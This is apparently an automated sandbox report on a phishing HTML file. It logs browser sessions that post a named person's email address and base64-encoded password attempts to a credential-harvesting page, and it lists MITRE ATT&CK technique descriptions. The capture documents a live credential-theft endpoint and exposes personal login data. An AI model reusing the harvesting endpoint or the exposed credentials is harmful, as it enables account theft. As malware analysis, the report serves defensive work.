2025-03-27 17:51:27 UTC	66	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 6c 68 65 72 73 68 65 79 40 66 6f 75 6e 64 61 74 69 6f 6e 66 61 72 2e 6f 72 67 26 70 61 73 73 3d 4a 54 49 31 51 45 6c 78 65 44 70 69 4b 79 6c 79 55 41 3d 3d Data Ascii: do=login&user=lhershey@foundationfar.org&pass=JTI1QElxeDpiKylyUA==
2025-03-27 17:51:31 UTC	925	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:51:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W9RjwIhtmMt4aDhhUk3GXxnt9q8OZWH7VdE7kF53jJMhxZC2rvZAyk74iCbyrJBuGnN4%2Fd8S45Bf5UyctWUPIcjEJ4GvqnC7WLsf2Zz%2FOK7E1twE1oZt7Vn8ZbN5LVkLiTGLF1o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270bc683a09a6cc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89959&min_rtt=89679&rtt_var=19341&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1297&delivery_rate=33763&cwnd=252&unsent_bytes=0&cid=c047d341b9663443&ts=3996&x=0"
2025-03-27 17:51:31 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 59 6f 75 72 20 61 63 63 6f 75 6e 74 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 69 6e 63 6f 72 72 65 63 74 22 7d 0d 0a Data Ascii: 44{"status":"error","message":"Your account or password is incorrect"}
2025-03-27 17:51:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49760	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:51:32 UTC	392	OUT	GET /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:51:32 UTC	821	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:51:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vBDDxd%2BEpjD79Zyi0Ek6F7B%2FJE5fucbEr3Z7f3kxmjAvohvAlvpQmyJfjw0dgyNUALG5ht3t8d93orRurzdzIZbo277x9E5KMtV%2F%2Ft18M7bnTT8o6PcmVgqTdWCR8hjJ0aYCigI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270bc825a6155d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=90508&min_rtt=89998&rtt_var=19467&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=964&delivery_rate=33934&cwnd=249&unsent_bytes=0&cid=2cf4ace4f0ac4510&ts=408&x=0"
2025-03-27 17:51:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49761	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:51:45 UTC	637	OUT	POST /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive Content-Length: 66 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:51:45 UTC	66	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 6c 68 65 72 73 68 65 79 40 66 6f 75 6e 64 61 74 69 6f 6e 66 61 72 2e 6f 72 67 26 70 61 73 73 3d 59 7a 70 47 4f 69 55 31 51 6d 55 34 63 58 6f 6a 4c 6e 59 3d Data Ascii: do=login&user=lhershey@foundationfar.org&pass=YzpGOiU1QmU4cXojLnY=
2025-03-27 17:51:48 UTC	923	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:51:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S6ZDHYxttskXJWNsQwJKcqK4sbHtDtHVgwE75KAV%2FogbFJ7WE6yzcnVoY25D5j0DGXKJRgR1AApW5g4dVKUBIufwWUFXsQhZXYihiPIbNejUmgCt4YHepSbUYsKde7zrlJV2ouw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270bcd969a2da80-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=90869&min_rtt=89713&rtt_var=20071&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1297&delivery_rate=34032&cwnd=252&unsent_bytes=0&cid=cbc46459f400841b&ts=2771&x=0"
2025-03-27 17:51:48 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 59 6f 75 72 20 61 63 63 6f 75 6e 74 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 69 6e 63 6f 72 72 65 63 74 22 7d 0d 0a Data Ascii: 44{"status":"error","message":"Your account or password is incorrect"}
2025-03-27 17:51:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49764	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:51:48 UTC	392	OUT	GET /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:51:49 UTC	275	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:51:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Cf-Cache-Status: DYNAMIC CF-RAY: 9270bcebdf45f9a9-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 17:51:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49771	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:52:06 UTC	637	OUT	POST /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive Content-Length: 46 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:52:06 UTC	46	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 6c 68 65 72 73 68 65 79 40 66 6f 75 6e 64 61 74 69 6f 6e 66 61 72 2e 6f 72 67 26 70 61 73 73 3d Data Ascii: do=login&user=lhershey@foundationfar.org&pass=
2025-03-27 17:52:06 UTC	924	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:52:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u%2FVG1r9s0efLBXLn3wPeljzKjQd0FE1AqSfeur309IYqTlmM95pcP98d6uhO4y89LFN1baxsk0DcyC9nhE3yLkOwEDzy2ocbvuCDV4ymwl0uSOj%2Bdsc4TcQrwvBopK7NxHPE9Rw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270bd588db75541-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89668&min_rtt=89627&rtt_var=18972&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1277&delivery_rate=34048&cwnd=252&unsent_bytes=0&cid=a712ec5431cbc896&ts=407&x=0"
2025-03-27 17:52:06 UTC	67	IN	Data Raw: 33 64 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 70 61 73 73 77 6f 72 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 22 7d 0d 0a Data Ascii: 3d{"status":"password","message":"Please enter your password."}
2025-03-27 17:52:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49772	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:52:06 UTC	392	OUT	GET /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:52:07 UTC	819	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:52:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hFVG0MlUuO30UwMeOxFbgwiNOEEECgJLizoSv25DXTRIU4Tg3ceXrrPTSJp0JUzM%2BTgEBaGZmGmaUoA%2FIz5uHUXvQ6R3XQXF9ipelfpCycL%2BFX4huwTqedTUnzL5ckxTGtAjBMk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270bd5c4cf97039-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89609&min_rtt=89167&rtt_var=19474&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=964&delivery_rate=33775&cwnd=252&unsent_bytes=0&cid=3f7b17020e5d0878&ts=405&x=0"
2025-03-27 17:52:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Click to jump to process

Target ID:	2
Start time:	13:50:40
Start date:	27/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	13:50:45
Start date:	27/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2308,i,1950381011547076389,9899964113874095902,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2336 /prefetch:3
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:50:51
Start date:	27/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\#U25baPlay_VM-Now(Lhershey)ATTT0003.html"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #U25baPlay_VM-Now(Lhershey)ATTT0003.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

Windows Analysis Report
#U25baPlay_VM-Now(Lhershey)ATTT0003.html